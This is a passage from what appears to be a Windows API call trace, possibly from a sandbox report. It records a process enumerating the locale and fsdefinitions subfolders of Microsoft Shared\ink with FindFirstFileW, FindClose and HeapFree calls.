dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.777] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.777] GetProcessHeap () returned 0x730000 [0054.777] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.777] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.777] GetProcessHeap () returned 0x730000 [0054.777] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.778] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.778] GetProcessHeap () returned 0x730000 [0054.778] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.778] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.778] GetProcessHeap () returned 0x730000 [0054.778] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.778] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.778] GetProcessHeap () returned 0x730000 [0054.778] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.779] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.779] GetProcessHeap () returned 0x730000 [0054.779] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.780] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.783] GetProcessHeap () returned 0x730000 [0054.783] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.783] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.783] GetProcessHeap () returned 0x730000 [0054.783] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.784] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.784] GetProcessHeap () returned 0x730000 [0054.784] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.784] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.784] GetProcessHeap () returned 0x730000 [0054.784] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.784] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.784] GetProcessHeap () returned 0x730000 [0054.784] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.785] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.785] GetProcessHeap () returned 0x730000 [0054.785] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.786] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.786] GetProcessHeap () returned 0x730000 [0054.786] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.787] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.788] GetProcessHeap () returned 0x730000 [0054.788] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.788] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.788] GetProcessHeap () returned 0x730000 [0054.788] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.790] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.790] GetProcessHeap () returned 0x730000 [0054.790] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.794] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.794] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.794] GetProcessHeap () returned 0x730000 [0054.819] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.820] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.820] GetProcessHeap () returned 0x730000 [0054.820] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.820] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.821] GetProcessHeap () returned 0x730000 [0054.821] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.821] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.821] GetProcessHeap () returned 0x730000 [0054.821] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.821] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.821] GetProcessHeap () returned 0x730000 [0054.821] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee48b0 | out: hHeap=0x730000) returned 1 [0054.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.821] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.821] GetProcessHeap () returned 0x730000 [0054.821] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.822] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.822] GetProcessHeap () returned 0x730000 [0054.822] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.822] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.822] GetProcessHeap () returned 0x730000 [0054.822] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.822] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.822] GetProcessHeap () returned 0x730000 [0054.822] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.822] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.822] GetProcessHeap () returned 0x730000 [0054.822] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.823] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.823] GetProcessHeap () returned 0x730000 [0054.823] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.823] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.823] GetProcessHeap () returned 0x730000 [0054.823] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.823] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.823] GetProcessHeap () returned 0x730000 [0054.823] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.823] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.823] GetProcessHeap () returned 0x730000 [0054.823] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef68c8 | out: hHeap=0x730000) returned 1 [0054.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0054.824] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0054.824] GetProcessHeap () returned 